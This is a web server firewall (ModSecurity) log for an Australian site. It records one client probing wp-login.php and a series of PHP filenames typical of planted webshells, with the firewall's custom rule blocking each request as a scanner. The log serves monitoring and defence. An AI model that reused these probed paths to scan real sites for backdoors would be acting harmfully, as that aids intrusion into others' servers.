[Sun Mar 15 03:14:01.614572 2026] [:error] [pid 59255:tid 59285] [client 20.100.185.74:34641] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "abWzea3w_Oi6c1avgTsfuQAAAJg"]
[Sun Mar 15 03:14:48.872518 2026] [:error] [pid 20020:tid 20045] [client 20.100.185.74:7303] [client 20.100.185.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.100.185.74, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abWzqEPjaRwagw2fU7g2bQAAAFc"]
[Sun Mar 15 03:15:05.125776 2026] [:error] [pid 19680:tid 19997] [client 20.100.185.74:49779] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "abWzuUnhGahR8LEhCX_EwAAAAcU"]
[Sun Mar 15 03:15:06.915950 2026] [:error] [pid 59255:tid 59266] [client 20.100.185.74:43287] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "abWzuq3w_Oi6c1avgTsgcwAAAIU"]
[Sun Mar 15 03:15:08.138386 2026] [:error] [pid 19671:tid 19989] [client 20.100.185.74:7450] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "abWzvFu8gYYbnWVq3mU0fQAAARg"]
[Sun Mar 15 03:15:09.613175 2026] [:error] [pid 19658:tid 19954] [client 20.100.185.74:43326] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "abWzvVIS7ZSIcsV9BQqfFgAAABE"]
[Sun Mar 15 03:15:11.457757 2026] [:error] [pid 19680:tid 19992] [client 20.100.185.74:28780] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "abWzv0nhGahR8LEhCX_ExgAAAcA"]
[Sun Mar 15 03:15:14.021677 2026] [:error] [pid 20020:tid 20026] [client 20.100.185.74:28788] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "abWzwkPjaRwagw2fU7g2lAAAAEQ"]
[Sun Mar 15 03:15:15.374473 2026] [:error] [pid 19680:tid 20015] [client 20.100.185.74:7481] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "abWzw0nhGahR8LEhCX_EywAAAdc"]
[Sun Mar 15 03:15:16.780425 2026] [:error] [pid 19680:tid 20012] [client 20.100.185.74:28750] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "abWzxEnhGahR8LEhCX_EzgAAAdQ"]
[Sun Mar 15 03:15:17.601706 2026] [:error] [pid 19680:tid 20002] [client 20.100.185.74:43294] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "abWzxUnhGahR8LEhCX_EzwAAAco"]
[Sun Mar 15 03:15:18.532402 2026] [:error] [pid 59255:tid 59275] [client 20.100.185.74:43343] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "abWzxq3w_Oi6c1avgTsgiAAAAI4"]
[Sun Mar 15 03:15:19.312843 2026] [:error] [pid 19680:tid 20005] [client 20.100.185.74:28749] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "abWzx0nhGahR8LEhCX_E0wAAAc0"]
[Sun Mar 15 03:15:20.009948 2026] [:error] [pid 20020:tid 20042] [client 20.100.185.74:45684] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "abWzyEPjaRwagw2fU7g2lwAAAFQ"]
[Sun Mar 15 03:15:20.551829 2026] [:error] [pid 19680:tid 20001] [client 20.100.185.74:8004] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "abWzyEnhGahR8LEhCX_E3wAAAck"]
[Sun Mar 15 03:15:21.376468 2026] [:error] [pid 20020:tid 20022] [client 20.100.185.74:7800] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "abWzyUPjaRwagw2fU7g2mgAAAEA"]
[Sun Mar 15 03:15:22.238733 2026] [:error] [pid 59255:tid 59280] [client 20.100.185.74:8048] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "abWzyq3w_Oi6c1avgTsgowAAAJM"]
[Sun Mar 15 03:15:22.947914 2026] [:error] [pid 20020:tid 20031] [client 20.100.185.74:7758] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "abWzykPjaRwagw2fU7g2nwAAAEk"]
[Sun Mar 15 03:15:25.242569 2026] [:error] [pid 20020:tid 20032] [client 20.100.185.74:7802] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "abWzzUPjaRwagw2fU7g2owAAAEo"]
[Sun Mar 15 03:15:26.292797 2026] [:error] [pid 19680:tid 20010] [client 20.100.185.74:45688] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "abWzzknhGahR8LEhCX_E5QAAAdI"]
[Sun Mar 15 03:15:29.994789 2026] [:error] [pid 20020:tid 20038] [client 20.100.185.74:8060] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "abWz0UPjaRwagw2fU7g2pwAAAFA"]
[Sun Mar 15 03:15:31.382609 2026] [:error] [pid 20020:tid 20046] [client 20.100.185.74:49781] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "abWz00PjaRwagw2fU7g2qwAAAFg"]
[Sun Mar 15 03:15:32.923896 2026] [:error] [pid 59255:tid 59270] [client 20.100.185.74:7783] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "abWz1K3w_Oi6c1avgTsg2wAAAIk"]
[Sun Mar 15 03:15:34.306479 2026] [:error] [pid 59255:tid 59273] [client 20.100.185.74:49767] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "abWz1q3w_Oi6c1avgTsg6AAAAIw"]
[Sun Mar 15 03:15:35.308072 2026] [:error] [pid 59255:tid 59266] [client 20.100.185.74:45660] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "abWz163w_Oi6c1avgTsg7gAAAIU"]
[Sun Mar 15 03:15:38.117945 2026] [:error] [pid 20020:tid 20032] [client 20.100.185.74:61579] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "abWz2kPjaRwagw2fU7g2tgAAAEo"]
[Sun Mar 15 03:15:40.242810 2026] [:error] [pid 59255:tid 59284] [client 20.100.185.74:28262] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "abWz3K3w_Oi6c1avgTshEgAAAJc"]
[Sun Mar 15 03:15:43.183497 2026] [:error] [pid 20020:tid 20040] [client 20.100.185.74:24862] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "abWz30PjaRwagw2fU7g2vgAAAFI"]
[Sun Mar 15 03:15:47.772954 2026] [:error] [pid 59255:tid 59285] [client 20.100.185.74:28257] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "abWz463w_Oi6c1avgTshRQAAAJg"]
[Sun Mar 15 03:15:49.745684 2026] [:error] [pid 59255:tid 59278] [client 20.100.185.74:40352] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "abWz5a3w_Oi6c1avgTshUQAAAJE"]
[Sun Mar 15 03:15:51.241731 2026] [:error] [pid 19680:tid 19995] [client 20.100.185.74:27675] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "abWz50nhGahR8LEhCX_E_QAAAcM"]
[Sun Mar 15 03:15:55.370485 2026] [:error] [pid 20020:tid 20046] [client 20.100.185.74:28232] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "abWz60PjaRwagw2fU7g2zgAAAFg"]
[Sun Mar 15 03:15:56.384101 2026] [:error] [pid 20020:tid 20034] [client 20.100.185.74:31137] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "abWz7EPjaRwagw2fU7g20AAAAEw"]
[Sun Mar 15 03:16:51.808657 2026] [:error] [pid 59255:tid 59269] [client 20.100.185.74:28197] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "abW0I63w_Oi6c1avgTsh3wAAAIg"]
[Sun Mar 15 03:16:53.743925 2026] [:error] [pid 20020:tid 20026] [client 20.100.185.74:39255] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "abW0JUPjaRwagw2fU7g3MgAAAEQ"]
[Sun Mar 15 03:16:54.486720 2026] [:error] [pid 59255:tid 59273] [client 20.100.185.74:8169] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "abW0Jq3w_Oi6c1avgTsh4AAAAIw"]
[Sun Mar 15 03:16:55.253190 2026] [:error] [pid 20020:tid 20024] [client 20.100.185.74:23295] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "abW0J0PjaRwagw2fU7g3NQAAAEI"]
[Sun Mar 15 03:16:56.139094 2026] [:error] [pid 59255:tid 59285] [client 20.100.185.74:40409] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "abW0KK3w_Oi6c1avgTsh5AAAAJg"]
[Sun Mar 15 03:16:57.448690 2026] [:error] [pid 20020:tid 20030] [client 20.100.185.74:58134] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "abW0KUPjaRwagw2fU7g3NwAAAEg"]
[Sun Mar 15 03:16:58.614518 2026] [:error] [pid 59255:tid 59280] [client 20.100.185.74:64208] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "abW0Kq3w_Oi6c1avgTsh6QAAAJM"]
[Sun Mar 15 03:16:59.462074 2026] [:error] [pid 20020:tid 20034] [client 20.100.185.74:7611] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "abW0K0PjaRwagw2fU7g3OwAAAEw"]
[Sun Mar 15 03:17:00.372359 2026] [:error] [pid 59255:tid 59270] [client 20.100.185.74:48560] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "abW0LK3w_Oi6c1avgTsh7gAAAIk"]
[Sun Mar 15 03:17:01.659347 2026] [:error] [pid 19671:tid 19968] [client 20.100.185.74:62533] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "abW0LVu8gYYbnWVq3mU0xQAAAQM"]
[Sun Mar 15 03:17:02.553648 2026] [:error] [pid 19680:tid 19992] [client 20.100.185.74:7387] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "abW0LknhGahR8LEhCX_FRQAAAcA"]
[Sun Mar 15 03:17:03.191354 2026] [:error] [pid 59255:tid 59265] [client 20.100.185.74:7558] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "abW0L63w_Oi6c1avgTsh8gAAAIQ"]
[Sun Mar 15 03:17:06.110545 2026] [:error] [pid 19680:tid 20005] [client 20.100.185.74:45228] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "abW0MknhGahR8LEhCX_FRgAAAc0"]
[Sun Mar 15 03:17:07.373544 2026] [:error] [pid 19680:tid 20010] [client 20.100.185.74:41693] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "abW0M0nhGahR8LEhCX_FSAAAAdI"]
[Sun Mar 15 03:17:10.175357 2026] [:error] [pid 19658:tid 19952] [client 20.100.185.74:33030] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "abW0NlIS7ZSIcsV9BQqfZQAAAA8"]
[Sun Mar 15 03:17:11.314771 2026] [:error] [pid 59255:tid 59268] [client 20.100.185.74:38406] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "abW0N63w_Oi6c1avgTsiAwAAAIc"]
[Sun Mar 15 03:17:13.379211 2026] [:error] [pid 59255:tid 59275] [client 20.100.185.74:33046] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "abW0Oa3w_Oi6c1avgTsiEQAAAI4"]
[Sun Mar 15 03:17:14.539714 2026] [:error] [pid 19680:tid 20000] [client 20.100.185.74:58821] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "abW0OknhGahR8LEhCX_FUAAAAcg"]
[Sun Mar 15 03:17:15.342851 2026] [:error] [pid 59255:tid 59280] [client 20.100.185.74:48520] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "abW0O63w_Oi6c1avgTsiHAAAAJM"]
[Sun Mar 15 03:17:16.097564 2026] [:error] [pid 19680:tid 20005] [client 20.100.185.74:7724] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "abW0PEnhGahR8LEhCX_FUwAAAc0"]
[Sun Mar 15 03:17:16.887009 2026] [:error] [pid 59255:tid 59264] [client 20.100.185.74:31683] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "abW0PK3w_Oi6c1avgTsiJAAAAIM"]
[Sun Mar 15 03:17:17.530368 2026] [:error] [pid 59255:tid 59261] [client 20.100.185.74:31706] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "abW0Pa3w_Oi6c1avgTsiKgAAAIA"]
[Sun Mar 15 03:17:18.567864 2026] [:error] [pid 59255:tid 59263] [client 20.100.185.74:42853] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "abW0Pq3w_Oi6c1avgTsiMAAAAII"]
[Sun Mar 15 03:17:19.858354 2026] [:error] [pid 59255:tid 59274] [client 20.100.185.74:7715] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "abW0P63w_Oi6c1avgTsiOAAAAI0"]
